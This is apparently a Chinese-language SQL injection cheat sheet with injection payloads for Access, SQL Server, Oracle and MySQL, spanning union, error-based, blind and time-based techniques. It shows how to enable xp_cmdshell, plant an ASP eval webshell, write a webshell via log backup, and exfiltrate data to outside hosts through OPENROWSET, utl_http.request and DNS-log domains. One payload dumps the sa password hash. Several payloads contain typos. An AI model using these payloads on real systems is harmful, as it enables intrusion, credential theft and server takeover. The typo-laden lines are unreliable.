SQL注入篇
Access數據庫
簡介
Access數據庫與其他數據庫不同,他沒有存儲的庫,所以只能猜表。
Access數據庫結構
a) 表、字段、數據
檢測表名是否存在
Select ID From Admin where ID = 10 and exists(select * from Admin)
Select ID From Admin where ID = 10 and exists(select * from Admin1)
聯合注入語法
判斷是否存在注入
AND方法,前后判斷必須都為true
Select * From OrderList where ID = 34 and 1=1
Select * From OrderList where ID = 34 and 1=2
OR方法,前后判斷一邊為true即可
Select * From OrderList where ID = 3 or 1=1
Select * From OrderList where ID = 3 or 1=2
判斷字段數量
Select * From Paydefault where ID = 1 order by 6
Select * From Paydefault where ID = 1 order by 7
報錯,說明只有6個字段
根據表查詢數據
Select * From Paydefault where ID = 1 and 1=2 union select 1,2,3,4,5,6 from Paydefault
From 后面的表名如果不對會報錯,可以用來猜測表名
數據回顯
Select * From Paydefault where ID = 1 and 1=2 union select 1,Paytype,3,4,5,6 from Paydefault
布爾盲注
利用ascii碼來猜解字段值
首先判斷是否存在表名:
And exists(select * from admin)
不會報錯,說明admin表是存在的,接下來就查列
可以使用字典+工具去枚舉列名
如果列不存在,則會報錯
列存在返回正常
知道了列之后,就可以去猜解zidu字段
首先需要知道字段的長度,可以使用top len 函數
Select * from admin where id = 1 and (select top 1 len(username) from admin)>1
這句話的的意思很簡單,id = 1之后是可控的內容,然后and一個判斷true=true為true
相反true=false為false,可控的內容使之我們的條件語句成立。
Top 1的意思是只顯示第一行的結果
輸入語句判斷,當前的username字段的長度大於1,所以語句成立,返回true
大於11不成立,所以返回false
通過判斷字段長度,得到長度為8
接下來就猜接字段數據
select * from admin where id=10 and (select top 1 asc(mid(username,1,1)) from admin)>10
查詢第一條數據,然后取username的第一個數,取1個長度,返回一個ascii碼,和后面做比較。條件成立返回true
條件不成立返回false
通過猜解長度,得到第一位的ascii碼為97,再通過ascii解碼得到a
以下的結果同上,修改username 后面第一個值即可,然后對照ascii表做匹配
Sqlserver數據庫
簡介
Sqlserver經常與asp或者aspx一起使用,操作系統多數是win2012和win2018
數據庫版本sql2008,sql2012。
Sqlserver聯合注入
Sqlserver對數據類型的判斷是比較嚴謹的,查詢的時候需要使用字符
判斷是否存在注入
?id=1 and 1=1 – -
?id=1 and 1=2 –-
判斷字段的數量
?id=1 order by 3 –-
查詢字段值
?id=1 and 1=2 union select 1,'2',name from mydb.sys.sysobjects where xtype = 'U' -- –-
?id=1 and 1=2 union select null,null,name from mydb.sys.sysobjects where xtype = 'U' --常用的函數有
Db_name() 獲取數據庫名
@@version() 獲取數據庫版本
User_name() 獲取當前用戶
Host_name() 獲取當前計算機
Sqlserve報錯注入
使用報錯語句將需要的信息顯示出來
顯示系統信息
And @@version>0利用mssql在轉換類型的時候就會出錯時,會顯示系統信息
顯示當前數據庫名
And db_name()>0
顯示當前用戶
And user_name()>0
爆出其他數據庫的方法
-1 and (select top 1 name from master..sysdatabases)>0
-1 and (select top 1 name from master..sysdatabases where name not in (‘master’))>0
-1 and (select top 1 name from master..sysdatabases where name not in (‘master’,’admin’))>0
爆出表名
-1 and (select top 1 name from [mydb].sys.all_objects where type=’U’ and is_ms_shipped=0)>0
-1 and (select top 1 name from [mydb].sys.all_objects where type=’U’ and is_ms_shipped=0 and name not in (‘admin’))>0
爆出列
-1 and (select top 1 column_name from mydb.information_schema.columns where TABLE_NAME=’admin’ and column_name not in(‘ID’))>0
-1 and (select top 1 column_name from mydb.information_schema.columns where table_name=admin’ and column_name not in (‘ID’,’username’))>0
爆出數據
-1 and (select top 1 password from admin) > 0
報錯注入,根據系統的表報出所有的表
1 and (select table_name from information_schema.tables where table_schema=’dbo’ fro xml path)>1
爆出所有的列
1 and (select column_name fron information_schema.columns where table_name=’admin’ fro xml path)>1
爆出數據
1 and (select username,password from admin fro xml path)1
Sqlserver執行系統命令
Sqlserver分號結束之后還可以執行查詢結果。Mysql不可以一起執行,mysql需要前面為false才可執行后面的語句
Xp_cmdshell默認在mssql2000中是開啟的,再mssql2005之后的版本中則默認禁止
如果用友管理員sa權限,則可以使用sp_configure重新開啟它
id=1;EXEC sp_configure'show advanced options';RECONFIGURE;EXEC sp_configure'xp_cmdshell',1;RECONFIGURE;
執行系統命令
EXEC master..dbo.xp_cmdshell 'ipconfig'
在關閉的情況下,回顯報錯
’開啟xp_cmdshell獲取shell
Id=1;exec master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:\inetpub\wwwroot\www.demo1.com\2.asp' --
Sqlserver備份拿webshell
Log備份
;if exists(select table_name from information_schema.tables where table_name=’test_tmp’) drop table test_tmp;alter database mydb set RECOVERY FULL;
以下內容可以放在一起寫入
;create table test_tmp(a image)
;backup log mydb to disk = ‘根目錄/asp.bak’ with init
;insert into test_tmp(a) values(0x3C25657865637574652872657175657374282261222929253eda)
;backup log mydb to disk = ‘根目錄/123.asp’
;drop table test_tmp
Sqlserver openrowset轉發利用
Openrowset操作遠程數據庫的函數
適用於盲注,頁面不反悔信息,使用openrowset轉發利用,需要一台帶有sqlserver的機器
原理就是把當前數據庫轉發到遠程的sqlserver上
1、開啟擴展
http://www.demo1.com/index.aspx?id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
本地建立臨時表
create table ##version (VERSION varchar(500))
2、查詢系統信息
http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23version' ) select DB_NAME()
執行上面語句之后 再來查詢遠程sqlserver上的表
select * from ##version
3、兩邊創建臨時表
create table ##nonamed( dir ntext, num int )
http://www.demo1.com/index.aspx?id=1;create table %23%23nonamed( dir ntext, num int )
4、查詢路徑
insert %23%23nonamed execute master..xp_dirtree 'c:/',1
向nonamed表插入c盤下路徑的數據
http://www.demo1.com/index.aspx?id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1
這里就是把數據轉發到遠程192.168.0.122 sqlserver上
http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23nonamed' ) select * from %23%23nonamed
在遠程sqlserver執行這個命令 就可以獲取 數據
select * from %23%23nonamed
Sqlserver延時注入
簡介
WAITFOR是SQLServer中Transact-SQL提供的一個流程控制語句。它的作用就是等待特定時
間,然后繼續執行后續的語句。它包含一個參數DELAY,用來指定等待的時間。
waitfor delay '0:0:5' 等待5秒再執行操作 ,頁面將5秒之后返回
select 1 waitfor delay '0:0:5'
1、 截取字符串判斷數據庫
Substring截取字符串
Char轉換的字符代碼
Id=1 if(substring(db_name(),1,1)=char(109)) waitfor delay'0:0:5' –
查詢數據庫的第一位
Id=1 if(substring(db_name(),1,1)='m') waitfor delay'0:0:5' --
查詢數據表
Id=1 if(substring((select top 1 name from mydb.sys.all_objects where type='U' ),1,1)='c') waitfor delay'0:0:5' –
查詢列名
if(substring((Select top 1 column_name from mydb.information_schema.columns where TABLE_NAME='admin'),1,1)='I') waitfor delay'0:0:5' –
http://www.demo1.com/index.aspx?Id=1 if(substring((Select top 1 column_name from mydb.information_schema.columns where TABLE_NAME='admin'),2,1)='D') waitfor delay'0:0:5' --
Sqlserver布爾盲注(ascii)
Id=1 if ascii(substring(user,1,1))>1 WAITFOR DELAY '0:0:5'
查詢當前數據庫的長度
Id=1 if len(db_name())=4 WAITFOR DELAY '0:0:5'--
查詢當前數據庫
Id=1 if ascii(substring(db_name(),1,1))=109 WAITFOR DELAY '0:0:5' --
Oracle數據庫
判斷是否存在注入
Id=1 and 1 = 1 –
Id=1 and 1 = 2
判斷數據庫的列數
Id=1 order by 8 –
Oracle聯合查詢
Oracle對列的類型比較嚴謹所以要用null可以匹配任意類型
如果當前用戶是一個高權限賬戶,可執行以下操作
1、 當前用戶權限(select * from session_roles)
2、 當前數據庫版本(select banner from sys.v_$version where rownum=1)
3、 服務器出口IP(select utl_http.request from dual)
4、 服務器監聽IP(select utl_inaddr.get_host_address from dual)
5、 服務器操作系統(select member from v%logfile where rownum=1)
6、 服務器sid(select instance name from v$instance)
7、 服務器id(select instance_name fron v%instance)
8、 當前連接用戶(select SYS_CONTEXT (‘USERNV’,’CURRENT_USER’) from dual)
9、 當前用戶(select user from dual)
Oracle中的dual表是一個單行單列的虛擬表
Dual是Oracle中的一個實際存在的表,任何用戶均可讀取
可通過dual表來顯示列數
Union select null,null,null from dual –
查詢數據庫版本、
查詢庫名
Rownum=1 : 只查詢一條記錄
-SMITH' union select null,(select owner from all_tables where rownum=1),null,null,null,null,null,null from dual --
-SMITH' union select null,(select owner from all_tables where rownum=1 and owner<>'SYS'),null,null,null,null,null,null from dual --
查詢表名(表一定要大寫)
-SMITH' union select null,(select table_name from user_tables where rownum=1),null,null,null,null,null,null from dual --
-SMITH' union select null,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),null,null,null,null,null,null from dual --
查詢列名
-SMITH' union select null,null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1 and column_name<>'ID'),null,null,null,null,null from dual --
查詢數據
-SMITH' union select null,null,(select concat(username,password) from admin),null,null,null,null,null from dual --
擴展
查詢當前用戶
Select user from dual
一下需要高權限用戶才能使用
列出所有用戶:
SELECT username FROM all_users ORDER BY username;
列出數據庫
SELECT DISTINCT owner FROM all_tables;
列出表名:
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
查詢表所有列
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';
定位文件
SELECT name FROM V$DATAFILE;
Oracle-+jsp utl_http.request反彈注入
前提:
通過utl_http.request我們可以將查閱的結果發送到遠程服務器上,在遇到盲注時非常有用,要使用該方法用戶需要有utl_http訪問網絡的權限
1、 檢測是否支持utl_http.request
and exists(select count(*) from all_objects where object_name='UTL_HTTP') --
2、 使用反彈注入獲取版本信息
id=1 and utl_http.request('http://192.168.10.3:2020/'%7c%7c(select banner from sys.v_$version where rownum=1))=1 --
這個里面的語句沒截好
3、 查詢當前用戶
id=1 and utl_http.request('http://192.168.10.3:2020/'%7c%7c(select user from dual where rownum=1))=1 --
4、 讀取數據庫的密碼
id=1 and utl_http.request('http://192.168.10.3:2020/'%7c%7c(select username from admin where rownum=1))=1 --
Oracle報錯注入
1、 使用UTL_INADDR.get_host_name()函數
and 1=UTL_INADDR.get_host_name((select user from dual)) --
2、 使用ctxsys.drithsx.sn
and 1=ctxsys.drithsx.sn(1,(select user from dual))--
總結如下
0x1 utl_inaddr.get_host_name()進行報錯注入
and 1=utl_inaddr.get_host_name((select user from dual))--
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--
0x2 ctxsys.drithsx.sn()進行報錯注入
http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--
0x3 XMLType()進行報錯注入
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --
0x4 dbms_xdb_version.checkin()進行報錯注入
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
查詢版本信息
http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --
0x5 bms_xdb_version.makeversioned()進報錯注入
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
0x6 dbms_xdb_version.uncheckout()進行報錯注入
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
0x7 dbms_utility.sqlid_to_sqlhash()進行報錯注入
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
0x8 ordsys.ord_dicom.getmappingxpath()進行報錯注入
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
0x9 decode進行報錯注入,這種方式更偏向布爾型注入,因為這種方式並不會通過報錯把查詢結果回顯回來,僅是用來作為頁面的表現不同的判斷方法。
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --
查詢庫名
and 1=ctxsys.drithsx.sn(1,(select owner from all_tables where rownum=1)) --
查詢表名
查詢字段
and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where rownum=1)) --
查詢數據
Oracle布爾盲注(decode)
簡介
在Oracle中有兩種布爾型盲注方法
一、 decode盲注法
decode(字段或字段的運算,值1,值2,值3)
解釋:函數運行的結果,當運算結果等於1時返回2,否則返回3
查看當前用戶
And 1=(select decode(user,’SYSTEM’,1,0) from dual) –
1代表true,0代表false,可以通過true或false判斷界面的回顯
查詢當前用戶的長度
And 1=(select length(user) from dual) --
查詢當前用戶
And 1=(select decode(substr(user,1,1),’S’,1,0) from dual) –
解釋:select查詢decode執行語句(字符串的運算,返回tru,返回false),substr截取字符(字符,截取第一位,取第一個)
And 1=(select decode(substr(user,2,1),’Y’,1,0) from dual) --
And 1=(select decode(substr(user,3,1),’S’,1,0) from dual) --
And 1=(select decode(substr(user,4,1),’T’,1,0) from dual) --
And 1=(select decode(substr(user,5,1),’E’,1,0) from dual) --
And 1=(select decode(substr(user,6,1),’M’,1,0) from dual) –
判斷當前數據庫的長度
and 3=(select length((select owner from all_tables where rownum=1)) from dual) --
判斷當前數據庫第一位
and 1=(select decode(substr((select owner from all_tables where rownum=1),1,1),'S',1,0) from dual) --
and 1=(select decode(substr((select owner from all_tables where rownum=1),2,1),'Y',1,0) from dual) –
and 1=(select decode(substr((select owner from all_tables where rownum=1),3,1),'S',1,0) from dual) --
查詢數據庫表名
查詢數據
Oracle布爾盲注(ascii)
解釋:截取user變量的字符串的第一位的第一個,變為ascii碼去查詢
And (select ascii(substr(user,1,1)) from dual)>1 --
Oracle延遲注入
簡介
DBMS_PIPE.RECEIVE_MESSAGE函數將為從RDS管道返回的數據等待10秒。默認情況下,允許以public權限執行該包。DBMS_LOCK.SLEEP()與之相反,它是一個可以用在SQL語句中的函數。
1、 判斷注入,如果延遲10秒存在注入
And 1=(dbms_pipe.receive_message('RDS', 10))
2、 使用注入語句,與decode函數一起使用
簡單來說就是把decode分段中的第二個參數修改為延遲5秒
and 1=(select decode(substr(user,1,1),'S', dbms_pipe.receive_message('RDS', 5),0) from dual) --
3、 查詢當前數據用戶的長度
and 1=(select decode(length(user),6,dbms_pipe.receive_message('RDS', 5),0) from dual) --
4、 判斷第一位是哪個字符
and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0)from dual) --
5、 判斷當前數據庫的長度
And 1=(select decode(length((select owner from all_tables where rownum=1)),3, dbms_pipe.receive_message('RDS', 5),0) from dual) --
6、 判斷第一個字符
And 1=(select decode(substr((select owner from all_tables where rownum=1),1,1),'S', dbms_pipe.receive_message('RDS', 5),0)from dual) --
內聯注入
Mysql
簡介
這種注入方式適合在找到表找不到字段的情況下使用
這種注入方式需要聯合兩個表,所以這種注入也是聯合查詢的一種
原理
在SQL中查詢select * from admin 星號代表所有字段
在使用唯一注入這種注入方法,需要確定當前表的字段數
表artice的字段為3個
使用聯合語句把另外一個表聯合進來查詢
Select * from article where id=1 union select 1,2,3, from admin
Admin的表的字段數同樣也是3個把admin.*替換1,2,3
語句並不會報錯,應為列數一樣同樣也會顯示表admin里面的字段數據
Select * from article where id=-1 union select admin.* from admin
查詢所有的表
同理,查詢所有的表
select tp_admin.* from tp_admin
id=-1 union select admin.* from admin –
前表必須大於等於后表的字段數,才可顯示成功
前表字段數7,后表字段數為6,所以后表需要填充一個字段
否則
ACCESS數據庫
Access數據庫也可使用內聯注入,前表與后表的字段數需相同
Selet * from affiche union select * from admin
前表字段與后表字段數量不符,所以報錯
演示真實環境
當前字段數量為26
Union select 聯合查詢
猜測admin表有幾個字段,可以推算用admin.*來添加,如果字段不匹配則報錯
字段匹配正確返回結果,但是沒有數據出現
將admin.*直接放到第一位,然后數據就會回顯
總結:內聯注入,所需要的前表必須大於后表,然后需要猜解到相等的字段長度,才可以實現
Dnslog無回顯注入
原理
DNS在解析的時候會留下日志,利用這個屬性,可以讀取多級域名的解析日志,來獲取信息
將帶有查詢的語句發起dns查詢請求,通過dns請求擦汗尋到值,組合成三級域名,在ns服務器dns的日志中顯示出來
無回顯注入,一般使用布爾型盲注和延時注入查詢數據,但是這兩種查詢都是很慢,dnslog查詢因為是直接顯示數據,所以這種注入效率上面說的這種都要好
Windows系統命令執行
Ping %USERNAME%.ch6del.dnslog.cn
Linux系統命令執行
Ping `whoami`.ip.port.ch6del.dnslog.cn
Curl http://ip.port.ch6del.dnslog.cn/`whoami`
注:需要在高權限用戶下執行
Access注入
load_file 使用這個函數 必須 在mysql開啟 secure_file_prv= 設置可以讀取方可使用這個函數
1、當secure_file_priv為空,就可以讀取磁盤的目錄。
2、當secure_file_priv為G:\,就可以讀取G盤的文件。
3、當secure_file_priv為null,load_file就不能加載文件。
推薦平台,需要注冊
平台帶有payload,無腦復制粘貼即可
這里的POC需要編碼,否則一些特殊符號會導致報錯
declare%20%40host%20varchar(1024)%3bselect%20%40host%3d(select%20top%201%20master.dbo.fn_varbintohexstr(password_hash)%20from%20sys.sql_logins%20where%20name%3d'sa')%2b'.ip.port.o2tf2m.ceye.io'%3b%20exec('master..xp_dirtree%20%22%5c%5c'%2b%40host%2b'%5cfoobar%24%22')%3b
Mysql注入
將所需要查詢的數據直接替換在select database()即可
http://target_sys.com/article.php?id=1 and if((select load_file(concat('\\\\',(SELECT database()),'.o2tf2m.ceye.io\\abc'))),1,0) --
and if((select load_file(concat('\\\\',(SELECT version()),'.o2tf2m.ceye.io\\abc'))),1,0) --